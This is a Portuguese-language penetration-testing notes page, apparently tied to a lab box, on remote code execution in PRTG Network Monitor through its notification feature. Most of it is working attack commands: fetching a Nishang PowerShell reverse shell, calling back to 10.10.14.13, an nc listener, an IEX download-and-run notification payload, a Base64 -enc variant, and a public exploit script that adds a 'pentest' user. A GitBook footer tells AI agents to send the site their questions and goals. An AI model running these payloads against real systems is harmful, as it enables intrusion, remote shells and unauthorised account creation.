> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/prtg-network-monitor-cms-exploitation.md).

# PRTG Network Monitor

<figure><img src="/files/e8932c14cf5f38ece8865ecc6d9de3347f799018" alt=""><figcaption></figcaption></figure>

## RCE no PRTG Network Monitor

O PRTG pode executar ações de notificação no servidor. Se uma sessão autenticada tiver permissão para criar ou modificar notificações, o campo de comando da notificação pode ser abusado para executar PowerShell e obter execução de código.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>" %}

## Método 1 - Abuso manual de notificação

Baixe um script de shell reversa em PowerShell para a máquina do atacante:

```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
```

Acrescente o manipulador de callback ao script, mantendo o IP e a porta do listener alinhados com o seu ambiente:

```bash
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
```

Hospede o arquivo:

```bash
python3 -m http.server 80
```

Inicie um listener:

```bash
rlwrap nc -nvlp 443
```

No PRTG, vá para `Configuração > Configurações da Conta > Notificações` e crie uma nova ação de notificação que execute um programa ou script.

<figure><img src="/files/6fe7a0be3fb7049aef2b99fc220e9174d64309eb" alt=""><figcaption></figcaption></figure>

Use o comando de notificação para fazer o servidor baixar e executar o script PowerShell hospedado:

{% code overflow="wrap" %}

```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```

{% endcode %}

<figure><img src="/files/71321fa6dafc9ad1fc94d1a90c5071ae5a5f3b6c" alt=""><figcaption></figcaption></figure>

Se a requisição chegar ao servidor web, mas a shell reversa não se conectar de volta, converta o script PowerShell para Base64 UTF-16LE e use PowerShell `-enc`:

```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```

Depois coloque o payload codificado no comando de notificação:

```powershell
abc.txt | powershell -enc <BASE64_PAYLOAD>
```

<figure><img src="/files/242a1f4358b8d6c5ca33cac77e507152f1c9298d" alt=""><figcaption></figcaption></figure>

## Método 2 - Exploit automatizado

Procure exploits públicos do PRTG Network Monitor e copie o script correspondente:

```bash
searchsploit -m windows/webapps/46527.sh
```

<figure><img src="/files/6e74f24e68c8815ac36e09614ddbeaf4560162da" alt=""><figcaption></figcaption></figure>

Execute o script com a URL do alvo e o cookie da sessão autenticada:

{% code overflow="wrap" %}

```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```

{% endcode %}

O exploit cria um novo usuário:

* Nome de usuário: `pentest`
* Senha: `P3nT3st!`

<figure><img src="/files/7f92d91a44b5c05ded784ad3993a062b26cdff36" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/prtg-network-monitor-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
